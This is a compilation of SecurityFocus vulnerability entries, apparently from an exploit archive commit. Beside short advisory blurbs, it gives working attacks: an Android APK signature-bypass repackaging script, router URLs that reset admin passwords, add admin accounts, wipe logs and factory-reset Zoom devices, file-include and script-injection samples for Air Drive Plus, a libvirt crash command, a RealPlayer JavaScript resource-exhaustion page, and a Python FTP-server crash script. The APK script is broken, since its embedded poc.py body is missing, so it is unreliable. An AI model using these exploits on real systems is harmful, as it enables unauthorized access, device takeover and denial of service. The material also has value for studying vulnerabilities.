Commit c4e7f4c

source: http://www.securityfocus.com/bid/60952/info

Google Android is prone to a remote security-bypass vulnerability.

Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks.

if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi

APK=$1

rm -r out out.apk tmp 2>/dev/null

java -jar apktool.jar d $APK out

echo "Modify files, when done type 'exit'"

cd out

bash

cd ..

java -jar apktool.jar b out out.apk

mkdir tmp

cd tmp/

unzip ../$APK

mv ../out.apk .

cat >poc.py <<-EOF

chmod 755 poc.py

for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done

cp out.apk ../evil-$APK

cd ..

rm -rf tmp out

echo "Modified APK: evil-$APK"

source: http://www.securityfocus.com/bid/61044/info

Multiple Zoom Telephonics devices are prone to an information-disclosure vulnerability, multiple authentication bypass vulnerabilities and an SQL-injection vulnerability.

Exploiting these issues could allow an attacker to gain unauthorized access and perform arbitrary actions, obtain sensitive information, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Vulnerability proofs and examples-

All administrative items can be accessed through these two URLs

--Menu Banner

http://www.example.com/hag/pages/toc.htm

-Advanced Options Menu

http://www.example.com/hag/pages/toolbox.htm

Example commands that can be executed remotely through a web browser

URL, or a modified HTTP GET/POST requests-

-Change Password for admin Account

On Firmware 2.5 or lower

http://www.example.com/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&ex_param1=

admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes

On Firmware 3.0-

http://www.example.com/hag/emweb/PopOutUserModify.htm?id=40&user=admin&Zadv=1&ex_pa

ram1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes

-Clear Logs

http://www.example.com/Action?id=76&cmdClear+Log=Clear+Log

-Remote Reboot to Default Factory Settings-

Warning - For all intents and purposes, this action will almost always

result in a long term Denial of Service attack.

http://www.example.com/Action?reboot_loc=1&id=5&cmdReboot=Reboot

-Create New Admin or Intermediate Account-

On Firmware 2.5 or lower

http://www.example.com/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateac

count"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes

On Firmware 3.0-

http://www.example.com/hag/emweb/PopOutUserAdd.htm?id=70&Zadv=1&ex_param1=adminuser

_id="newadminaccount"&priv=v1&pass1="123456"&pass2="123456"&cmdSubmit=Sa

ve+Changes

source: http://www.securityfocus.com/bid/61081/info

Air Drive Plus is prone to multiple input validation vulnerabilities including a local file-include vulnerability, an arbitrary file-upload vulnerability, and an HTML-injection vulnerability.

An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, obtain sensitive information, execute arbitrary script code within the context of the browser, and steal cookie-based authentication credentials.

Air Drive Plus 2.4 is vulnerable; other versions may also be affected.

<tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank"

href="http://www.example.com/AirDriveAction_file_show/;/private/var/mobile/Applications";>;/private/var/mobile/Applications/</a></td>

<td>27,27KB</td><td align="center">2013-07-08 23:07:52</td><td align="center">

<a onclick="javascript:delfile("/private/var/mobile/Applications");" class="transparent_button">Delete</a></td></tr>

<tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank"

href="http://www.example.com/AirDriveAction_file_show/1337.png.gif.php.js.html";>1337.png.gif.php.js.html</a></td>

<td>27,27KB</td><td align="center">2013-07-08 23:07:52</td><td align="center"><a

onclick="javascript:delfile("1337.png.gif.php.js.html");"

class="transparent_button">Delete</a></td></tr>

<tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank"

href="http://www.example.com/AirDriveAction_file_show/[PERSISTENT INJECTED SCRIPT CODE!]1337.png">[PERSISTENT

INJECTED SCRIPT CODE!]1337.png</a></td><td>27,27KB</td><td align="center">

2013-07-08 23:07:52</td><td align="center"><a onclick="javascript:delfile("[PERSISTENT INJECTED SCRIPT

CODE!]1337.png");" class="transparent_button">Delete</a></td></tr>

source: http://www.securityfocus.com/bid/60876/info

libvirt is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the application that uses the affected library, denying service to legitimate users.

# virsh -c qemu:///system --readonly iface-list --inactive

source: http://www.securityfocus.com/bid/60903/info

RealNetworks RealPlayer is prone to a remote denial-of-service vulnerability.

Successful exploits will allow attackers to consume an excessive amount of CPU resources, denying service to legitimate users.

RealPlayer 16.0.2.32 and prior are vulnerable.

<html> <head> <script language="JavaScript"> { var buffer = '\x41' for(i=0; i <= 100 ; ++i) { buffer+=buffer+buffer document.write(buffer); } } </script> </head> </html>

source: http://www.securityfocus.com/bid/60909/info

FileCOPA FTP Server is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

FileCOPA FTP Server 7.01 is vulnerable; other versions may also be affected.

import socket

import sys

PAYLOAD = "\x41" * 7000

print("\n\n[+] FileCOPA V7.01 HTTP POST Denial Of Service")

print("[+] Version: V7.01")

print("[+] Chako\n\n\n")

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('www.example.com',81))

s.send("POST /" + PAYLOAD + "/ HTTP/1.0\r\n\r\n")

s.close()

print("[!] Done! Exploit successfully sent\n")